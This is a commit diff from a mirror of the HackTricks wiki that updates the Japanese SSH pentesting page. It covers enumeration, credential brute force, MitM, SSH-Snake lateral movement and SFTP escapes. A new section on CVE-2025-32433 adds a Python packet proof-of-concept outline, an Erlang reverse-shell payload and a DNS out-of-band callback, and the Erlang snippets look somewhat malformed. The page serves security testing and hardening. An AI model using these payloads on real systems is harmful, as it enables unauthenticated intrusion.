mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-ssh.md'] to ja
This commit is contained in:
parent
f6466d264e
commit
fd7a66ad07
@ -4,7 +4,7 @@
|
||||
|
||||
## 基本情報
|
||||
|
||||
**SSH (セキュアシェルまたはセキュアソケットシェル)** は、未保護のネットワークを介してコンピュータに安全に接続するためのネットワークプロトコルです。リモートシステムにアクセスする際のデータの機密性と整合性を維持するために不可欠です。
|
||||
**SSH (Secure Shell or Secure Socket Shell)** は、未保護のネットワークを介してコンピュータに安全に接続するためのネットワークプロトコルです。リモートシステムにアクセスする際のデータの機密性と整合性を維持するために不可欠です。
|
||||
|
||||
**デフォルトポート:** 22
|
||||
```
|
||||
@ -13,15 +13,15 @@
|
||||
**SSHサーバー:**
|
||||
|
||||
- [openSSH](http://www.openssh.org) – OpenBSD SSH、BSD、LinuxディストリビューションおよびWindows 10以降のWindowsに搭載
|
||||
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – メモリとプロセッサリソースが限られた環境向けのSSH実装、OpenWrtに搭載
|
||||
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – Windows向けのSSH実装、クライアントは一般的に使用されるが、サーバーの使用はまれ
|
||||
- [CopSSH](https://www.itefix.net/copssh) – Windows向けのOpenSSH実装
|
||||
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – 低メモリおよびプロセッサリソースの環境向けのSSH実装、OpenWrtに搭載
|
||||
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – Windows用のSSH実装、クライアントは一般的に使用されるが、サーバーの使用はまれ
|
||||
- [CopSSH](https://www.itefix.net/copssh) – Windows用のOpenSSH実装
|
||||
|
||||
**SSHライブラリ(サーバーサイドの実装):**
|
||||
|
||||
- [libssh](https://www.libssh.org) – SSHv2プロトコルを実装したマルチプラットフォームCライブラリ、[Python](https://github.com/ParallelSSH/ssh-python)、[Perl](https://github.com/garnier-quentin/perl-libssh/)および[R](https://github.com/ropensci/ssh)のバインディングがある;KDEのsftpやGitHubのgit SSHインフラストラクチャで使用されている
|
||||
- [libssh](https://www.libssh.org) – SSHv2プロトコルを実装したマルチプラットフォームCライブラリ、[Python](https://github.com/ParallelSSH/ssh-python)、[Perl](https://github.com/garnier-quentin/perl-libssh/)および[R](https://github.com/ropensci/ssh)にバインディングがある; KDEのsftpやGitHubのgit SSHインフラストラクチャで使用されている
|
||||
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – ANSI Cで書かれたSSHv2サーバーライブラリ、組み込み、RTOS、およびリソース制約のある環境向け
|
||||
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD JavaライブラリはApache MINAに基づいている
|
||||
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache MINAに基づくApache SSHD Javaライブラリ
|
||||
- [paramiko](https://github.com/paramiko/paramiko) – Python SSHv2プロトコルライブラリ
|
||||
|
||||
## 列挙
|
||||
@ -32,7 +32,7 @@ nc -vn <IP> 22
|
||||
```
|
||||
### 自動化されたssh-audit
|
||||
|
||||
ssh-auditは、sshサーバーとクライアントの設定監査のためのツールです。
|
||||
ssh-auditは、sshサーバーおよびクライアントの設定監査ツールです。
|
||||
|
||||
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit)は、[https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)からの更新されたフォークです。
|
||||
|
||||
@ -42,12 +42,12 @@ ssh-auditは、sshサーバーとクライアントの設定監査のための
|
||||
- SSHクライアント設定の分析;
|
||||
- バナーを取得し、デバイスまたはソフトウェアとオペレーティングシステムを認識し、圧縮を検出;
|
||||
- キー交換、ホストキー、暗号化およびメッセージ認証コードアルゴリズムを収集;
|
||||
- アルゴリズム情報を出力(利用可能な時期、削除/無効、危険/弱い/古いなど);
|
||||
- アルゴリズム情報を出力(利用可能な時期、削除/無効、危険/弱/レガシーなど);
|
||||
- アルゴリズムの推奨事項を出力(認識されたソフトウェアバージョンに基づいて追加または削除);
|
||||
- セキュリティ情報を出力(関連する問題、割り当てられたCVEリストなど);
|
||||
- アルゴリズム情報に基づいてSSHバージョンの互換性を分析;
|
||||
- OpenSSH、Dropbear SSHおよびlibsshからの履歴情報;
|
||||
- LinuxおよびWindowsで動作;
|
||||
- LinuxおよびWindowsで実行;
|
||||
- 依存関係なし
|
||||
```bash
|
||||
usage: ssh-audit.py [-1246pbcnjvlt] <host>
|
||||
@ -91,7 +91,7 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
|
||||
|
||||
- `ssh`
|
||||
|
||||
## ユーザー名、パスワード、プライベートキーのブルートフォース
|
||||
## ブルートフォースユーザー名、パスワード、プライベートキー
|
||||
|
||||
### ユーザー名列挙
|
||||
|
||||
@ -125,12 +125,12 @@ https://github.com/rapid7/ssh-badkeys/tree/master/authorized
|
||||
|
||||
一部のシステムには、暗号材料を生成するために使用されるランダムシードに既知の欠陥があります。これにより、劇的に減少したキー空間が生じ、ブルートフォース攻撃が可能になります。弱いPRNGの影響を受けたDebianシステムで生成された事前生成されたキーセットは、ここで入手できます: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)。
|
||||
|
||||
被害者のマシンの有効なキーを検索するために、ここを確認する必要があります。
|
||||
被害者のマシンの有効なキーを検索するには、ここを確認してください。
|
||||
|
||||
### Kerberos
|
||||
|
||||
**crackmapexec**は、`ssh`プロトコルを使用して、**kerberos経由で認証**するために`--kerberos`オプションを使用できます。\
|
||||
詳細については、`crackmapexec ssh --help`を実行してください。
|
||||
**crackmapexec** は `ssh` プロトコルを使用して、**kerberos経由で認証**するために `--kerberos` オプションを使用できます。\
|
||||
詳細については、`crackmapexec ssh --help` を実行してください。
|
||||
|
||||
## Default Credentials
|
||||
|
||||
@ -153,30 +153,30 @@ https://github.com/rapid7/ssh-badkeys/tree/master/authorized
|
||||
|
||||
## SSH-MitM
|
||||
|
||||
もしあなたが被害者と同じローカルネットワークにいて、ユーザー名とパスワードを使用してSSHサーバーに接続しようとしている場合、**MitM攻撃を実行してその認証情報を盗む**ことを試みることができます:
|
||||
もしあなたが被害者と同じローカルネットワークにいて、ユーザー名とパスワードを使用してSSHサーバーに接続しようとしている場合、**MitM攻撃を実行してその認証情報を盗むことができます:**
|
||||
|
||||
**攻撃経路:**
|
||||
|
||||
- **トラフィックのリダイレクト:** 攻撃者は被害者のトラフィックを自分のマシンに**転送**し、SSHサーバーへの接続試行を**傍受**します。
|
||||
- **傍受とログ記録:** 攻撃者のマシンは**プロキシ**として機能し、正当なSSHサーバーを装ってユーザーのログイン情報を**キャプチャ**します。
|
||||
- **コマンドの実行と中継:** 最後に、攻撃者のサーバーは**ユーザーの認証情報をログ記録し**、**コマンドを**実際のSSHサーバーに**転送し**、**実行**し、**結果をユーザーに返します**。これにより、プロセスがシームレスで正当なものに見えます。
|
||||
- **コマンドの実行と中継:** 最後に、攻撃者のサーバーはユーザーの認証情報を**ログ記録**し、コマンドを実際のSSHサーバーに**転送**し、**実行**し、結果をユーザーに**返送**します。このプロセスはシームレスで正当なものに見えます。
|
||||
|
||||
[**SSH MITM**](https://github.com/jtesta/ssh-mitm)は、上記の説明通りのことを正確に行います。
|
||||
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) は、上記の説明通りのことを実行します。
|
||||
|
||||
実際のMitMをキャプチャするために、ARPスプーフィング、DNSスプーフィング、または[**ネットワークスプーフィング攻撃**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing)で説明されている他の技術を使用することができます。
|
||||
実際のMitMをキャプチャするためには、ARPスプーフィング、DNSスプーフィング、または[**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing)で説明されている他の技術を使用できます。
|
||||
|
||||
## SSH-Snake
|
||||
|
||||
発見されたSSHプライベートキーを使用してネットワークを横断し、各システムの各プライベートキーを新しいホストに利用する場合、[**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake)が必要です。
|
||||
|
||||
SSH-Snakeは以下のタスクを自動的かつ再帰的に実行します:
|
||||
SSH-Snakeは以下のタスクを自動的かつ再帰的に実行します:
|
||||
|
||||
1. 現在のシステムで、任意のSSHプライベートキーを見つける。
|
||||
2. 現在のシステムで、プライベートキーが受け入れられる可能性のあるホストまたは宛先(user@host)を見つける。
|
||||
3. 発見されたすべてのプライベートキーを使用して、すべての宛先にSSH接続を試みる。
|
||||
4. 宛先に正常に接続できた場合、接続したシステムでステップ#1 - #4を繰り返す。
|
||||
|
||||
これは完全に自己複製し、自己伝播します -- そして完全にファイルレスです。
|
||||
これは完全に自己複製し、自己伝播し、完全にファイルレスです。
|
||||
|
||||
## Config Misconfigurations
|
||||
|
||||
@ -186,10 +186,10 @@ SSHサーバーがデフォルトでrootユーザーのログインを許可す
|
||||
|
||||
**OpenSSHでRoot Loginを無効にする方法:**
|
||||
|
||||
1. `sudoedit /etc/ssh/sshd_config`でSSH設定ファイルを編集します。
|
||||
2. 設定を`#PermitRootLogin yes`から**`PermitRootLogin no`**に変更します。
|
||||
3. `sudo systemctl daemon-reload`を使用して設定を再読み込みします。
|
||||
4. 変更を適用するためにSSHサーバーを再起動します: `sudo systemctl restart sshd`
|
||||
1. `sudoedit /etc/ssh/sshd_config` でSSH設定ファイルを**編集**します。
|
||||
2. `#PermitRootLogin yes` の設定を **`PermitRootLogin no`** に**変更**します。
|
||||
3. `sudo systemctl daemon-reload` を使用して**設定を再読み込み**します。
|
||||
4. 変更を適用するためにSSHサーバーを**再起動**します: `sudo systemctl restart sshd`
|
||||
|
||||
### SFTP Brute Force
|
||||
|
||||
@ -197,7 +197,7 @@ SSHサーバーがデフォルトでrootユーザーのログインを許可す
|
||||
|
||||
### SFTP command execution
|
||||
|
||||
SFTPセットアップでは、管理者がユーザーにリモートシェルアクセスを有効にせずにファイルを交換させることを意図している場合に一般的な見落としが発生します。ユーザーを非対話型シェル(例: `/usr/bin/nologin`)に設定し、特定のディレクトリに制限しても、セキュリティの抜け穴が残ります。**ユーザーは、ログイン後すぐにコマンド(例: `/bin/bash`)の実行を要求することで、これらの制限を回避できます**。これにより、不正なコマンド実行が可能になり、意図されたセキュリティ対策が損なわれます。
|
||||
SFTPセットアップにおいて一般的な見落としが発生します。管理者はユーザーがリモートシェルアクセスを有効にせずにファイルを交換できるように意図しています。ユーザーを非対話型シェル(例: `/usr/bin/nologin`)に設定し、特定のディレクトリに制限しても、セキュリティの抜け穴が残ります。**ユーザーはログイン後すぐにコマンド(例: `/bin/bash`)の実行を要求することで、これらの制限を回避できます**。これにより、不正なコマンド実行が可能になり、意図されたセキュリティ対策が損なわれます。
|
||||
|
||||
[こちらからの例](https://community.turgensec.com/ssh-hacking-guide/):
|
||||
```bash
|
||||
@ -232,27 +232,27 @@ PermitTunnel no
|
||||
X11Forwarding no
|
||||
PermitTTY no
|
||||
```
|
||||
この設定では、SFTPのみを許可します:開始コマンドを強制することでシェルアクセスを無効にし、TTYアクセスも無効にし、さらにすべての種類のポートフォワーディングやトンネリングを無効にします。
|
||||
この設定では、SFTPのみを許可します:開始コマンドを強制することでシェルアクセスを無効にし、TTYアクセスを無効にするだけでなく、すべての種類のポートフォワーディングやトンネリングも無効にします。
|
||||
|
||||
### SFTPトンネリング
|
||||
|
||||
SFTPサーバーにアクセスできる場合、一般的なポートフォワーディングを使用して、トラフィックをこの経由でトンネルすることもできます:
|
||||
SFTPサーバーにアクセスできる場合、一般的なポートフォワーディングを使用して、これを通じてトラフィックをトンネリングすることもできます:
|
||||
```bash
|
||||
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
|
||||
```
|
||||
### SFTP Symlink
|
||||
|
||||
**sftp** には "**symlink**" コマンドがあります。したがって、特定のフォルダに **書き込み権限** がある場合、**他のフォルダ/ファイル** の **シンボリックリンク** を作成できます。おそらく **chroot** 内に **閉じ込められている** ため、これは特に役に立たないでしょうが、作成した **シンボリックリンク** に **no-chroot** **サービス** からアクセスできる場合(例えば、ウェブからシンボリックリンクにアクセスできる場合)、ウェブを通じて **シンボリックリンクされたファイル** を **開く** ことができます。
|
||||
**sftp** には "**symlink**" コマンドがあります。したがって、特定のフォルダに **書き込み権限** がある場合、**他のフォルダ/ファイル** の **シンボリックリンク** を作成できます。おそらく **chroot** 内に **閉じ込められている** ため、これはあなたにとって特に役立つことはないでしょうが、作成した **シンボリックリンク** に **no-chroot** **サービス** からアクセスできる場合(たとえば、ウェブからシンボリックリンクにアクセスできる場合)、**ウェブを通じてシンボリックリンクされたファイルを開く** ことができます。
|
||||
|
||||
例えば、新しいファイル "**_froot_**" から "**_/**" への **シンボリックリンク** を作成するには:
|
||||
たとえば、新しいファイル **"**_**froot**_**" から "**_**/**_**"** への **シンボリックリンク** を作成するには:
|
||||
```bash
|
||||
sftp> symlink / froot
|
||||
```
|
||||
もしウェブ経由でファイル "_froot_" にアクセスできれば、システムのルート ("/") フォルダーをリストすることができます。
|
||||
もしウェブを介してファイル "_froot_" にアクセスできれば、システムのルート ("/") フォルダーをリストすることができます。
|
||||
|
||||
### 認証方法
|
||||
|
||||
高セキュリティ環境では、単純なパスワードベースの認証の代わりに、キーベースまたは二要素認証のみを有効にすることが一般的な慣行です。しかし、しばしば強力な認証方法が有効になっていても、弱い方法が無効になっていないことがあります。よくあるケースは、openSSHの設定で `publickey` を有効にし、デフォルトの方法として設定するが、`password` を無効にしないことです。そのため、SSHクライアントの詳細モードを使用することで、攻撃者は弱い方法が有効になっていることを確認できます。
|
||||
高セキュリティ環境では、単純なパスワードベースの認証の代わりに、キーベースまたは二要素認証のみを有効にすることが一般的な慣行です。しかし、しばしば強力な認証方法が有効になっていても、弱い方法が無効になっていないことがあります。よくあるケースは、openSSHの設定で `publickey` を有効にし、デフォルトの方法として設定するが、`password` を無効にしないことです。そのため、SSHクライアントの詳細モードを使用することで、攻撃者は弱い方法が有効になっていることを見ることができます。
|
||||
```bash
|
||||
ssh -v 192.168.1.94
|
||||
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
|
||||
@ -267,7 +267,7 @@ debug1: Next authentication method: password
|
||||
```
|
||||
SSHサーバーの設定を確認することは、予期される方法のみが承認されていることを確認するために必要です。クライアントで詳細モードを使用すると、設定の効果を確認するのに役立ちます。
|
||||
|
||||
### 設定ファイル
|
||||
### Config files
|
||||
```bash
|
||||
ssh_config
|
||||
sshd_config
|
||||
@ -281,12 +281,68 @@ id_rsa
|
||||
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
|
||||
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
|
||||
|
||||
## References
|
||||
## 認証状態機械バイパス (Pre-Auth RCE)
|
||||
|
||||
- SSHを強化する方法に関する興味深いガイドは[https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html)で見つけることができます。
|
||||
- [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
|
||||
いくつかのSSHサーバー実装には、**認証有限状態機械**に論理的欠陥が含まれており、クライアントが認証が完了する**前に** *接続プロトコル* メッセージを送信できるようになっています。 サーバーが正しい状態にあることを確認しないため、これらのメッセージはユーザーが完全に認証されているかのように処理され、**未認証のコード実行**やセッションの作成につながります。
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
プロトコルレベルでは、_メッセージコード_ **≥ 80** (0x50) の任意のSSHメッセージは*接続*レイヤー (RFC 4254) に属し、**成功した認証の後のみ受け入れられるべきです** (RFC 4252)。 サーバーが*SSH_AUTHENTICATION*状態のままこれらのメッセージの1つを処理すると、攻撃者はすぐにチャネルを作成し、コマンド実行、ポートフォワーディングなどのアクションを要求できます。
|
||||
|
||||
### 一般的なエクスプロイト手順
|
||||
1. ターゲットのSSHポート(一般的には22ですが、他のサービスは2022、830、2222などでErlang/OTPを公開している場合があります)にTCP接続を確立します。
|
||||
2. 生のSSHパケットを作成します:
|
||||
* 4バイトの**packet_length**(ビッグエンディアン)
|
||||
* 1バイトの**message_code** ≥ 80(例:`SSH_MSG_CHANNEL_OPEN` = 90、`SSH_MSG_CHANNEL_REQUEST` = 98)
|
||||
* 選択したメッセージタイプによって理解されるペイロード
|
||||
3. **認証ステップを完了する前に**パケットを送信します。
|
||||
4. 現在_認証前_に公開されているサーバーAPI(コマンド実行、ポートフォワーディング、ファイルシステムアクセスなど)と対話します。
|
||||
|
||||
Pythonの概念実証のアウトライン:
|
||||
```python
|
||||
import socket, struct
|
||||
HOST, PORT = '10.10.10.10', 22
|
||||
s = socket.create_connection((HOST, PORT))
|
||||
# skip version exchange for brevity – send your own client banner then read server banner
|
||||
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
|
||||
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
|
||||
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
|
||||
s.sendall(pkt)
|
||||
# additional CHANNEL_REQUEST packets can follow to run commands
|
||||
```
|
||||
実際には、ターゲットの実装に応じてキー交換を実行(またはスキップ)する必要がありますが、**認証**は決して行われません。
|
||||
|
||||
---
|
||||
### Erlang/OTP `sshd` (CVE-2025-32433)
|
||||
* **影響を受けるバージョン:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
|
||||
* **根本原因:** ErlangネイティブSSHデーモンは、`ssh_connection:handle_msg/2`を呼び出す前に現在の状態を検証しません。したがって、メッセージコード80-255を持つパケットは、セッションがまだ*userauth*状態にある間に接続ハンドラーに到達します。
|
||||
* **影響:** 認証されていない**リモートコード実行**(デーモンは通常、組み込み/OTデバイス上で**root**として実行されます)。
|
||||
|
||||
攻撃者が制御するチャネルにバインドされたリバースシェルを生成する例のペイロード:
|
||||
```erlang
|
||||
% open a channel first … then:
|
||||
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
|
||||
```
|
||||
ブラインドRCE / アウトオブバンド検出はDNSを介して実行できます:
|
||||
```erlang
|
||||
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
|
||||
```
|
||||
検出と緩和:
|
||||
* SSHトラフィックを検査: **認証前に観測されたメッセージコードが≥ 80のパケットはすべてドロップする**。
|
||||
* Erlang/OTPを**27.3.3 / 26.2.5.11 / 25.3.2.20**以上にアップグレードする。
|
||||
* 管理ポート(22/2022/830/2222)の露出を制限する – 特にOT機器において。
|
||||
|
||||
---
|
||||
### 影響を受ける他の実装
|
||||
* **libssh** 0.6 – 0.8(サーバー側) – **CVE-2018-10933** – クライアントによって送信された認証されていない`SSH_MSG_USERAUTH_SUCCESS`を受け入れ、実質的に逆の論理欠陥。
|
||||
|
||||
一般的な教訓は、RFCで定められた状態遷移からの逸脱は致命的である可能性があるということです。SSHデーモンをレビューまたはファジングする際は、*状態マシンの強制*に特に注意を払ってください。
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
|
||||
- [SSHハードニングガイド](https://www.ssh-audit.com/hardening_guides.html)
|
||||
- [Turgensec SSHハッキングガイド](https://community.turgensec.com/ssh-hacking-guide)
|
||||
|
||||
## HackTricks自動コマンド
|
||||
```
|
||||
Protocol_Name: SSH
|
||||
Port_Number: 22
|
||||
|
Loading…
x
Reference in New Issue
Block a user